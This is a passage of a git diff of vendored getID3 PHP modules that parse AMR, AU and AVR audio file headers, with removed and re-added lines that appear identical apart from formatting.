/** + * @param int $numblkscod + * + * @return int|false + */ + public static function blocksPerSyncFrame($numblkscod) { + static $blocksPerSyncFrameLookup = array( + 0 => 1, + 1 => 2, + 2 => 3, + 3 => 6, + ); + return (isset($blocksPerSyncFrameLookup[$numblkscod]) ? $blocksPerSyncFrameLookup[$numblkscod] : false); + } + + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.amr.php b/vendor/james-heinrich/getid3/getid3/module.audio.amr.php index 5191beb1c0..e2e453164f 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.amr.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.amr.php @@ -1,110 +1,110 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.aa.php // -// module for analyzing Audible Audiobook files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_amr extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - $AMRheader = $this->fread(6); - - $magic = '#!AMR'."\x0A"; - if (substr($AMRheader, 0, 6) != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($AMRheader, 0, 6)).'"'); - return false; - } - - // shortcut - $info['amr'] = array(); - $thisfile_amr = &$info['amr']; - - $info['fileformat'] = 'amr'; - $info['audio']['dataformat'] = 'amr'; - $info['audio']['bitrate_mode'] = 'vbr'; // within a small predefined range: 4.75kbps to 12.2kbps - $info['audio']['bits_per_sample'] = 13; // http://en.wikipedia.org/wiki/Adaptive_Multi-Rate_audio_codec: "Sampling frequency 8 kHz/13-bit (160 samples for 20 ms frames), filtered to 200–3400 Hz" - $info['audio']['sample_rate'] = 8000; // http://en.wikipedia.org/wiki/Adaptive_Multi-Rate_audio_codec: "Sampling frequency 8 kHz/13-bit (160 samples for 20 ms frames), filtered to 200–3400 Hz" - $info['audio']['channels'] = 1; - $thisfile_amr['frame_mode_count'] = array(0=>0, 1=>0, 2=>0, 3=>0, 4=>0, 5=>0, 6=>0, 7=>0); - - $buffer = ''; - do { - if ((strlen($buffer) < $this->getid3->fread_buffer_size()) && !feof($this->getid3->fp)) { - $buffer .= $this->fread($this->getid3->fread_buffer_size() * 2); - } - $AMR_frame_header = ord(substr($buffer, 0, 1)); - $codec_mode_request = ($AMR_frame_header & 0x78) >> 3; // The 2nd bit through 5th bit (counting the most significant bit as the first bit) comprise the CMR (Codec Mode Request), values 0-7 being valid for AMR. The top bit of the CMR can actually be ignored, though it is used when AMR forms RTP payloads. The lower 3-bits of the header are reserved and are not used. Viewing the header from most significant bit to least significant bit, the encoding is XCCCCXXX, where Xs are reserved (typically 0) and the Cs are the CMR. - if ($codec_mode_request > 7) { - break; - } - $thisfile_amr['frame_mode_count'][$codec_mode_request]++; - $buffer = substr($buffer, $this->amr_mode_bytes_per_frame($codec_mode_request)); - } while (strlen($buffer) > 0); - - $info['playtime_seconds'] = array_sum($thisfile_amr['frame_mode_count']) * 0.020; // each frame contain 160 samples and is 20 milliseconds long - $info['audio']['bitrate'] = (8 * ($info['avdataend'] - $info['avdataoffset'])) / $info['playtime_seconds']; // bitrate could be calculated from average bitrate by distributation of frame types. That would give effective audio bitrate, this gives overall file bitrate which will be a little bit higher since every frame will waste 8 bits for header, plus a few bits for octet padding - $info['bitrate'] = $info['audio']['bitrate']; - - return true; - } - - /** - * @param int $key - * - * @return int|false - */ - public function amr_mode_bitrate($key) { - static $amr_mode_bitrate = array( - 0 => 4750, - 1 => 5150, - 2 => 5900, - 3 => 6700, - 4 => 7400, - 5 => 7950, - 6 => 10200, - 7 => 12200, - ); - return (isset($amr_mode_bitrate[$key]) ? $amr_mode_bitrate[$key] : false); - } - - /** - * @param int $key - * - * @return int|false - */ - public function amr_mode_bytes_per_frame($key) { - static $amr_mode_bitrate = array( - 0 => 13, // 1-byte frame header + 95 bits [padded to: 12 bytes] audio data - 1 => 14, // 1-byte frame header + 103 bits [padded to: 13 bytes] audio data - 2 => 16, // 1-byte frame header + 118 bits [padded to: 15 bytes] audio data - 3 => 18, // 1-byte frame header + 134 bits [padded to: 17 bytes] audio data - 4 => 20, // 1-byte frame header + 148 bits [padded to: 19 bytes] audio data - 5 => 21, // 1-byte frame header + 159 bits [padded to: 20 bytes] audio data - 6 => 27, // 1-byte frame header + 204 bits [padded to: 26 bytes] audio data - 7 => 32, // 1-byte frame header + 244 bits [padded to: 31 bytes] audio data - ); - return (isset($amr_mode_bitrate[$key]) ? $amr_mode_bitrate[$key] : false); - } - - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.aa.php // +// module for analyzing Audible Audiobook files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_amr extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $AMRheader = $this->fread(6); + + $magic = '#!AMR'."\x0A"; + if (substr($AMRheader, 0, 6) != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($AMRheader, 0, 6)).'"'); + return false; + } + + // shortcut + $info['amr'] = array(); + $thisfile_amr = &$info['amr']; + + $info['fileformat'] = 'amr'; + $info['audio']['dataformat'] = 'amr'; + $info['audio']['bitrate_mode'] = 'vbr'; // within a small predefined range: 4.75kbps to 12.2kbps + $info['audio']['bits_per_sample'] = 13; // http://en.wikipedia.org/wiki/Adaptive_Multi-Rate_audio_codec: "Sampling frequency 8 kHz/13-bit (160 samples for 20 ms frames), filtered to 200–3400 Hz" + $info['audio']['sample_rate'] = 8000; // http://en.wikipedia.org/wiki/Adaptive_Multi-Rate_audio_codec: "Sampling frequency 8 kHz/13-bit (160 samples for 20 ms frames), filtered to 200–3400 Hz" + $info['audio']['channels'] = 1; + $thisfile_amr['frame_mode_count'] = array(0=>0, 1=>0, 2=>0, 3=>0, 4=>0, 5=>0, 6=>0, 7=>0); + + $buffer = ''; + do { + if ((strlen($buffer) < $this->getid3->fread_buffer_size()) && !feof($this->getid3->fp)) { + $buffer .= $this->fread($this->getid3->fread_buffer_size() * 2); + } + $AMR_frame_header = ord(substr($buffer, 0, 1)); + $codec_mode_request = ($AMR_frame_header & 0x78) >> 3; // The 2nd bit through 5th bit (counting the most significant bit as the first bit) comprise the CMR (Codec Mode Request), values 0-7 being valid for AMR. The top bit of the CMR can actually be ignored, though it is used when AMR forms RTP payloads. The lower 3-bits of the header are reserved and are not used. Viewing the header from most significant bit to least significant bit, the encoding is XCCCCXXX, where Xs are reserved (typically 0) and the Cs are the CMR. + if ($codec_mode_request > 7) { + break; + } + $thisfile_amr['frame_mode_count'][$codec_mode_request]++; + $buffer = substr($buffer, $this->amr_mode_bytes_per_frame($codec_mode_request)); + } while (strlen($buffer) > 0); + + $info['playtime_seconds'] = array_sum($thisfile_amr['frame_mode_count']) * 0.020; // each frame contain 160 samples and is 20 milliseconds long + $info['audio']['bitrate'] = (8 * ($info['avdataend'] - $info['avdataoffset'])) / $info['playtime_seconds']; // bitrate could be calculated from average bitrate by distributation of frame types. That would give effective audio bitrate, this gives overall file bitrate which will be a little bit higher since every frame will waste 8 bits for header, plus a few bits for octet padding + $info['bitrate'] = $info['audio']['bitrate']; + + return true; + } + + /** + * @param int $key + * + * @return int|false + */ + public function amr_mode_bitrate($key) { + static $amr_mode_bitrate = array( + 0 => 4750, + 1 => 5150, + 2 => 5900, + 3 => 6700, + 4 => 7400, + 5 => 7950, + 6 => 10200, + 7 => 12200, + ); + return (isset($amr_mode_bitrate[$key]) ? $amr_mode_bitrate[$key] : false); + } + + /** + * @param int $key + * + * @return int|false + */ + public function amr_mode_bytes_per_frame($key) { + static $amr_mode_bitrate = array( + 0 => 13, // 1-byte frame header + 95 bits [padded to: 12 bytes] audio data + 1 => 14, // 1-byte frame header + 103 bits [padded to: 13 bytes] audio data + 2 => 16, // 1-byte frame header + 118 bits [padded to: 15 bytes] audio data + 3 => 18, // 1-byte frame header + 134 bits [padded to: 17 bytes] audio data + 4 => 20, // 1-byte frame header + 148 bits [padded to: 19 bytes] audio data + 5 => 21, // 1-byte frame header + 159 bits [padded to: 20 bytes] audio data + 6 => 27, // 1-byte frame header + 204 bits [padded to: 26 bytes] audio data + 7 => 32, // 1-byte frame header + 244 bits [padded to: 31 bytes] audio data + ); + return (isset($amr_mode_bitrate[$key]) ? $amr_mode_bitrate[$key] : false); + } + + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.au.php b/vendor/james-heinrich/getid3/getid3/module.audio.au.php index 1f5e5a49f1..73df103148 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.au.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.au.php @@ -1,183 +1,183 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.au.php // -// module for analyzing AU files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_au extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - $AUheader = $this->fread(8); - - $magic = '.snd'; - if (substr($AUheader, 0, 4) != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" (".snd") at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($AUheader, 0, 4)).'"'); - return false; - } - - // shortcut - $info['au'] = array(); - $thisfile_au = &$info['au']; - - $info['fileformat'] = 'au'; - $info['audio']['dataformat'] = 'au'; - $info['audio']['bitrate_mode'] = 'cbr'; - $thisfile_au['encoding'] = 'ISO-8859-1'; - - $thisfile_au['header_length'] = getid3_lib::BigEndian2Int(substr($AUheader, 4, 4)); - $AUheader .= $this->fread($thisfile_au['header_length'] - 8); - $info['avdataoffset'] += $thisfile_au['header_length']; - - $thisfile_au['data_size'] = getid3_lib::BigEndian2Int(substr($AUheader, 8, 4)); - $thisfile_au['data_format_id'] = getid3_lib::BigEndian2Int(substr($AUheader, 12, 4)); - $thisfile_au['sample_rate'] = getid3_lib::BigEndian2Int(substr($AUheader, 16, 4)); - $thisfile_au['channels'] = getid3_lib::BigEndian2Int(substr($AUheader, 20, 4)); - $thisfile_au['comments']['comment'][] = trim(substr($AUheader, 24)); - - $thisfile_au['data_format'] = $this->AUdataFormatNameLookup($thisfile_au['data_format_id']); - $thisfile_au['used_bits_per_sample'] = $this->AUdataFormatUsedBitsPerSampleLookup($thisfile_au['data_format_id']); - if ($thisfile_au['bits_per_sample'] = $this->AUdataFormatBitsPerSampleLookup($thisfile_au['data_format_id'])) { - $info['audio']['bits_per_sample'] = $thisfile_au['bits_per_sample']; - } else { - unset($thisfile_au['bits_per_sample']); - } - - $info['audio']['sample_rate'] = $thisfile_au['sample_rate']; - $info['audio']['channels'] = $thisfile_au['channels']; - - if (($info['avdataoffset'] + $thisfile_au['data_size']) > $info['avdataend']) { - $this->warning('Possible truncated file - expecting "'.$thisfile_au['data_size'].'" bytes of audio data, only found '.($info['avdataend'] - $info['avdataoffset']).' bytes"'); - } - - $info['playtime_seconds'] = $thisfile_au['data_size'] / ($thisfile_au['sample_rate'] * $thisfile_au['channels'] * ($thisfile_au['used_bits_per_sample'] / 8)); - $info['audio']['bitrate'] = ($thisfile_au['data_size'] * 8) / $info['playtime_seconds']; - - return true; - } - - /** - * @param int $id - * - * @return string|false - */ - public function AUdataFormatNameLookup($id) { - static $AUdataFormatNameLookup = array( - 0 => 'unspecified format', - 1 => '8-bit mu-law', - 2 => '8-bit linear', - 3 => '16-bit linear', - 4 => '24-bit linear', - 5 => '32-bit linear', - 6 => 'floating-point', - 7 => 'double-precision float', - 8 => 'fragmented sampled data', - 9 => 'SUN_FORMAT_NESTED', - 10 => 'DSP program', - 11 => '8-bit fixed-point', - 12 => '16-bit fixed-point', - 13 => '24-bit fixed-point', - 14 => '32-bit fixed-point', - - 16 => 'non-audio display data', - 17 => 'SND_FORMAT_MULAW_SQUELCH', - 18 => '16-bit linear with emphasis', - 19 => '16-bit linear with compression', - 20 => '16-bit linear with emphasis + compression', - 21 => 'Music Kit DSP commands', - 22 => 'SND_FORMAT_DSP_COMMANDS_SAMPLES', - 23 => 'CCITT g.721 4-bit ADPCM', - 24 => 'CCITT g.722 ADPCM', - 25 => 'CCITT g.723 3-bit ADPCM', - 26 => 'CCITT g.723 5-bit ADPCM', - 27 => 'A-Law 8-bit' - ); - return (isset($AUdataFormatNameLookup[$id]) ? $AUdataFormatNameLookup[$id] : false); - } - - /** - * @param int $id - * - * @return int|false - */ - public function AUdataFormatBitsPerSampleLookup($id) { - static $AUdataFormatBitsPerSampleLookup = array( - 1 => 8, - 2 => 8, - 3 => 16, - 4 => 24, - 5 => 32, - 6 => 32, - 7 => 64, - - 11 => 8, - 12 => 16, - 13 => 24, - 14 => 32, - - 18 => 16, - 19 => 16, - 20 => 16, - - 23 => 16, - - 25 => 16, - 26 => 16, - 27 => 8 - ); - return (isset($AUdataFormatBitsPerSampleLookup[$id]) ? $AUdataFormatBitsPerSampleLookup[$id] : false); - } - - /** - * @param int $id - * - * @return int|false - */ - public function AUdataFormatUsedBitsPerSampleLookup($id) { - static $AUdataFormatUsedBitsPerSampleLookup = array( - 1 => 8, - 2 => 8, - 3 => 16, - 4 => 24, - 5 => 32, - 6 => 32, - 7 => 64, - - 11 => 8, - 12 => 16, - 13 => 24, - 14 => 32, - - 18 => 16, - 19 => 16, - 20 => 16, - - 23 => 4, - - 25 => 3, - 26 => 5, - 27 => 8, - ); - return (isset($AUdataFormatUsedBitsPerSampleLookup[$id]) ? $AUdataFormatUsedBitsPerSampleLookup[$id] : false); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.au.php // +// module for analyzing AU files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_au extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $AUheader = $this->fread(8); + + $magic = '.snd'; + if (substr($AUheader, 0, 4) != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" (".snd") at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($AUheader, 0, 4)).'"'); + return false; + } + + // shortcut + $info['au'] = array(); + $thisfile_au = &$info['au']; + + $info['fileformat'] = 'au'; + $info['audio']['dataformat'] = 'au'; + $info['audio']['bitrate_mode'] = 'cbr'; + $thisfile_au['encoding'] = 'ISO-8859-1'; + + $thisfile_au['header_length'] = getid3_lib::BigEndian2Int(substr($AUheader, 4, 4)); + $AUheader .= $this->fread($thisfile_au['header_length'] - 8); + $info['avdataoffset'] += $thisfile_au['header_length']; + + $thisfile_au['data_size'] = getid3_lib::BigEndian2Int(substr($AUheader, 8, 4)); + $thisfile_au['data_format_id'] = getid3_lib::BigEndian2Int(substr($AUheader, 12, 4)); + $thisfile_au['sample_rate'] = getid3_lib::BigEndian2Int(substr($AUheader, 16, 4)); + $thisfile_au['channels'] = getid3_lib::BigEndian2Int(substr($AUheader, 20, 4)); + $thisfile_au['comments']['comment'][] = trim(substr($AUheader, 24)); + + $thisfile_au['data_format'] = $this->AUdataFormatNameLookup($thisfile_au['data_format_id']); + $thisfile_au['used_bits_per_sample'] = $this->AUdataFormatUsedBitsPerSampleLookup($thisfile_au['data_format_id']); + if ($thisfile_au['bits_per_sample'] = $this->AUdataFormatBitsPerSampleLookup($thisfile_au['data_format_id'])) { + $info['audio']['bits_per_sample'] = $thisfile_au['bits_per_sample']; + } else { + unset($thisfile_au['bits_per_sample']); + } + + $info['audio']['sample_rate'] = $thisfile_au['sample_rate']; + $info['audio']['channels'] = $thisfile_au['channels']; + + if (($info['avdataoffset'] + $thisfile_au['data_size']) > $info['avdataend']) { + $this->warning('Possible truncated file - expecting "'.$thisfile_au['data_size'].'" bytes of audio data, only found '.($info['avdataend'] - $info['avdataoffset']).' bytes"'); + } + + $info['playtime_seconds'] = $thisfile_au['data_size'] / ($thisfile_au['sample_rate'] * $thisfile_au['channels'] * ($thisfile_au['used_bits_per_sample'] / 8)); + $info['audio']['bitrate'] = ($thisfile_au['data_size'] * 8) / $info['playtime_seconds']; + + return true; + } + + /** + * @param int $id + * + * @return string|false + */ + public function AUdataFormatNameLookup($id) { + static $AUdataFormatNameLookup = array( + 0 => 'unspecified format', + 1 => '8-bit mu-law', + 2 => '8-bit linear', + 3 => '16-bit linear', + 4 => '24-bit linear', + 5 => '32-bit linear', + 6 => 'floating-point', + 7 => 'double-precision float', + 8 => 'fragmented sampled data', + 9 => 'SUN_FORMAT_NESTED', + 10 => 'DSP program', + 11 => '8-bit fixed-point', + 12 => '16-bit fixed-point', + 13 => '24-bit fixed-point', + 14 => '32-bit fixed-point', + + 16 => 'non-audio display data', + 17 => 'SND_FORMAT_MULAW_SQUELCH', + 18 => '16-bit linear with emphasis', + 19 => '16-bit linear with compression', + 20 => '16-bit linear with emphasis + compression', + 21 => 'Music Kit DSP commands', + 22 => 'SND_FORMAT_DSP_COMMANDS_SAMPLES', + 23 => 'CCITT g.721 4-bit ADPCM', + 24 => 'CCITT g.722 ADPCM', + 25 => 'CCITT g.723 3-bit ADPCM', + 26 => 'CCITT g.723 5-bit ADPCM', + 27 => 'A-Law 8-bit' + ); + return (isset($AUdataFormatNameLookup[$id]) ? $AUdataFormatNameLookup[$id] : false); + } + + /** + * @param int $id + * + * @return int|false + */ + public function AUdataFormatBitsPerSampleLookup($id) { + static $AUdataFormatBitsPerSampleLookup = array( + 1 => 8, + 2 => 8, + 3 => 16, + 4 => 24, + 5 => 32, + 6 => 32, + 7 => 64, + + 11 => 8, + 12 => 16, + 13 => 24, + 14 => 32, + + 18 => 16, + 19 => 16, + 20 => 16, + + 23 => 16, + + 25 => 16, + 26 => 16, + 27 => 8 + ); + return (isset($AUdataFormatBitsPerSampleLookup[$id]) ? $AUdataFormatBitsPerSampleLookup[$id] : false); + } + + /** + * @param int $id + * + * @return int|false + */ + public function AUdataFormatUsedBitsPerSampleLookup($id) { + static $AUdataFormatUsedBitsPerSampleLookup = array( + 1 => 8, + 2 => 8, + 3 => 16, + 4 => 24, + 5 => 32, + 6 => 32, + 7 => 64, + + 11 => 8, + 12 => 16, + 13 => 24, + 14 => 32, + + 18 => 16, + 19 => 16, + 20 => 16, + + 23 => 4, + + 25 => 3, + 26 => 5, + 27 => 8, + ); + return (isset($AUdataFormatUsedBitsPerSampleLookup[$id]) ? $AUdataFormatUsedBitsPerSampleLookup[$id] : false); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.avr.php b/vendor/james-heinrich/getid3/getid3/module.audio.avr.php index b061f5fd0c..69a26056dd 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.avr.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.avr.php @@ -1,130 +1,130 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.avr.php // -// module for analyzing AVR Audio files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_avr extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - // http://cui.unige.ch/OSG/info/AudioFormats/ap11.html - // http://www.btinternet.com/~AnthonyJ/Atari/programming/avr_format.html - // offset type length name comments - // --------------------------------------------------------------------- - // 0 char 4 ID format ID == "2BIT" - // 4 char 8 name sample name (unused space filled with 0) - // 12 short 1 mono/stereo 0=mono, -1 (0xFFFF)=stereo - // With stereo, samples are alternated, - // the first voice is the left : - // (LRLRLRLRLRLRLRLRLR...) - // 14 short 1 resolution 8, 12 or 16 (bits) - // 16 short 1 signed or not 0=unsigned, -1 (0xFFFF)=signed - // 18 short 1 loop or not 0=no loop, -1 (0xFFFF)=loop on - // 20 short 1 MIDI note 0xFFnn, where 0 <= nn <= 127 - // 0xFFFF means "no MIDI note defined" - // 22 byte 1 Replay speed Frequence in the Replay software - // 0=5.485 Khz, 1=8.084 Khz, 2=10.971 Khz, - // 3=16.168 Khz, 4=21.942 Khz, 5=32.336 Khz - // 6=43.885 Khz, 7=47.261 Khz - // -1 (0xFF)=no defined Frequence - // 23 byte 3 sample rate in Hertz - // 26 long 1 size in bytes (2 * bytes in stereo) - // 30 long 1 loop begin 0 for no loop - // 34 long 1 loop size equal to 'size' for no loop - // 38 short 2 Reserved, MIDI keyboard split */ - // 40 short 2 Reserved, sample compression */ - // 42 short 2 Reserved */ - // 44 char 20; Additional filename space, used if (name[7] != 0) - // 64 byte 64 user data - // 128 bytes ? sample data (12 bits samples are coded on 16 bits: - // 0000 xxxx xxxx xxxx) - // --------------------------------------------------------------------- - - // Note that all values are in motorola (big-endian) format, and that long is - // assumed to be 4 bytes, and short 2 bytes. - // When reading the samples, you should handle both signed and unsigned data, - // and be prepared to convert 16->8 bit, or mono->stereo if needed. To convert - // 8-bit data between signed/unsigned just add 127 to the sample values. - // Simularly for 16-bit data you should add 32769 - - $info['fileformat'] = 'avr'; - - $this->fseek($info['avdataoffset']); - $AVRheader = $this->fread(128); - - $info['avr']['raw']['magic'] = substr($AVRheader, 0, 4); - $magic = '2BIT'; - if ($info['avr']['raw']['magic'] != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['avr']['raw']['magic']).'"'); - unset($info['fileformat']); - unset($info['avr']); - return false; - } - $info['avdataoffset'] += 128; - - $info['avr']['sample_name'] = rtrim(substr($AVRheader, 4, 8)); - $info['avr']['raw']['mono'] = getid3_lib::BigEndian2Int(substr($AVRheader, 12, 2)); - $info['avr']['bits_per_sample'] = getid3_lib::BigEndian2Int(substr($AVRheader, 14, 2)); - $info['avr']['raw']['signed'] = getid3_lib::BigEndian2Int(substr($AVRheader, 16, 2)); - $info['avr']['raw']['loop'] = getid3_lib::BigEndian2Int(substr($AVRheader, 18, 2)); - $info['avr']['raw']['midi'] = getid3_lib::BigEndian2Int(substr($AVRheader, 20, 2)); - $info['avr']['raw']['replay_freq'] = getid3_lib::BigEndian2Int(substr($AVRheader, 22, 1)); - $info['avr']['sample_rate'] = getid3_lib::BigEndian2Int(substr($AVRheader, 23, 3)); - $info['avr']['sample_length'] = getid3_lib::BigEndian2Int(substr($AVRheader, 26, 4)); - $info['avr']['loop_start'] = getid3_lib::BigEndian2Int(substr($AVRheader, 30, 4)); - $info['avr']['loop_end'] = getid3_lib::BigEndian2Int(substr($AVRheader, 34, 4)); - $info['avr']['midi_split'] = getid3_lib::BigEndian2Int(substr($AVRheader, 38, 2)); - $info['avr']['sample_compression'] = getid3_lib::BigEndian2Int(substr($AVRheader, 40, 2)); - $info['avr']['reserved'] = getid3_lib::BigEndian2Int(substr($AVRheader, 42, 2)); - $info['avr']['sample_name_extra'] = rtrim(substr($AVRheader, 44, 20)); - $info['avr']['comment'] = rtrim(substr($AVRheader, 64, 64)); - - $info['avr']['flags']['stereo'] = (($info['avr']['raw']['mono'] == 0) ? false : true); - $info['avr']['flags']['signed'] = (($info['avr']['raw']['signed'] == 0) ? false : true); - $info['avr']['flags']['loop'] = (($info['avr']['raw']['loop'] == 0) ? false : true); - - $info['avr']['midi_notes'] = array(); - if (($info['avr']['raw']['midi'] & 0xFF00) != 0xFF00) { - $info['avr']['midi_notes'][] = ($info['avr']['raw']['midi'] & 0xFF00) >> 8; - } - if (($info['avr']['raw']['midi'] & 0x00FF) != 0x00FF) { - $info['avr']['midi_notes'][] = ($info['avr']['raw']['midi'] & 0x00FF); - } - - if (($info['avdataend'] - $info['avdataoffset']) != ($info['avr']['sample_length'] * (($info['avr']['bits_per_sample'] == 8) ? 1 : 2))) { - $this->warning('Probable truncated file: expecting '.($info['avr']['sample_length'] * (($info['avr']['bits_per_sample'] == 8) ? 1 : 2)).' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset'])); - } - - $info['audio']['dataformat'] = 'avr'; - $info['audio']['lossless'] = true; - $info['audio']['bitrate_mode'] = 'cbr'; - $info['audio']['bits_per_sample'] = $info['avr']['bits_per_sample']; - $info['audio']['sample_rate'] = $info['avr']['sample_rate']; - $info['audio']['channels'] = ($info['avr']['flags']['stereo'] ? 2 : 1); - $info['playtime_seconds'] = ($info['avr']['sample_length'] / $info['audio']['channels']) / $info['avr']['sample_rate']; - $info['audio']['bitrate'] = ($info['avr']['sample_length'] * (($info['avr']['bits_per_sample'] == 8) ? 8 : 16)) / $info['playtime_seconds']; - - - return true; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.avr.php // +// module for analyzing AVR Audio files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_avr extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + // http://cui.unige.ch/OSG/info/AudioFormats/ap11.html + // http://www.btinternet.com/~AnthonyJ/Atari/programming/avr_format.html + // offset type length name comments + // --------------------------------------------------------------------- + // 0 char 4 ID format ID == "2BIT" + // 4 char 8 name sample name (unused space filled with 0) + // 12 short 1 mono/stereo 0=mono, -1 (0xFFFF)=stereo + // With stereo, samples are alternated, + // the first voice is the left : + // (LRLRLRLRLRLRLRLRLR...) + // 14 short 1 resolution 8, 12 or 16 (bits) + // 16 short 1 signed or not 0=unsigned, -1 (0xFFFF)=signed + // 18 short 1 loop or not 0=no loop, -1 (0xFFFF)=loop on + // 20 short 1 MIDI note 0xFFnn, where 0 <= nn <= 127 + // 0xFFFF means "no MIDI note defined" + // 22 byte 1 Replay speed Frequence in the Replay software + // 0=5.485 Khz, 1=8.084 Khz, 2=10.971 Khz, + // 3=16.168 Khz, 4=21.942 Khz, 5=32.336 Khz + // 6=43.885 Khz, 7=47.261 Khz + // -1 (0xFF)=no defined Frequence + // 23 byte 3 sample rate in Hertz + // 26 long 1 size in bytes (2 * bytes in stereo) + // 30 long 1 loop begin 0 for no loop + // 34 long 1 loop size equal to 'size' for no loop + // 38 short 2 Reserved, MIDI keyboard split */ + // 40 short 2 Reserved, sample compression */ + // 42 short 2 Reserved */ + // 44 char 20; Additional filename space, used if (name[7] != 0) + // 64 byte 64 user data + // 128 bytes ? sample data (12 bits samples are coded on 16 bits: + // 0000 xxxx xxxx xxxx) + // --------------------------------------------------------------------- + + // Note that all values are in motorola (big-endian) format, and that long is + // assumed to be 4 bytes, and short 2 bytes. + // When reading the samples, you should handle both signed and unsigned data, + // and be prepared to convert 16->8 bit, or mono->stereo if needed. To convert + // 8-bit data between signed/unsigned just add 127 to the sample values. + // Simularly for 16-bit data you should add 32769 + + $info['fileformat'] = 'avr'; + + $this->fseek($info['avdataoffset']); + $AVRheader = $this->fread(128); + + $info['avr']['raw']['magic'] = substr($AVRheader, 0, 4); + $magic = '2BIT'; + if ($info['avr']['raw']['magic'] != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['avr']['raw']['magic']).'"'); + unset($info['fileformat']); + unset($info['avr']); + return false; + } + $info['avdataoffset'] += 128; + + $info['avr']['sample_name'] = rtrim(substr($AVRheader, 4, 8)); + $info['avr']['raw']['mono'] = getid3_lib::BigEndian2Int(substr($AVRheader, 12, 2)); + $info['avr']['bits_per_sample'] = getid3_lib::BigEndian2Int(substr($AVRheader, 14, 2)); + $info['avr']['raw']['signed'] = getid3_lib::BigEndian2Int(substr($AVRheader, 16, 2)); + $info['avr']['raw']['loop'] = getid3_lib::BigEndian2Int(substr($AVRheader, 18, 2)); + $info['avr']['raw']['midi'] = getid3_lib::BigEndian2Int(substr($AVRheader, 20, 2)); + $info['avr']['raw']['replay_freq'] = getid3_lib::BigEndian2Int(substr($AVRheader, 22, 1)); + $info['avr']['sample_rate'] = getid3_lib::BigEndian2Int(substr($AVRheader, 23, 3)); + $info['avr']['sample_length'] = getid3_lib::BigEndian2Int(substr($AVRheader, 26, 4)); + $info['avr']['loop_start'] = getid3_lib::BigEndian2Int(substr($AVRheader, 30, 4)); + $info['avr']['loop_end'] = getid3_lib::BigEndian2Int(substr($AVRheader, 34, 4)); + $info['avr']['midi_split'] = getid3_lib::BigEndian2Int(substr($AVRheader, 38, 2)); + $info['avr']['sample_compression'] = 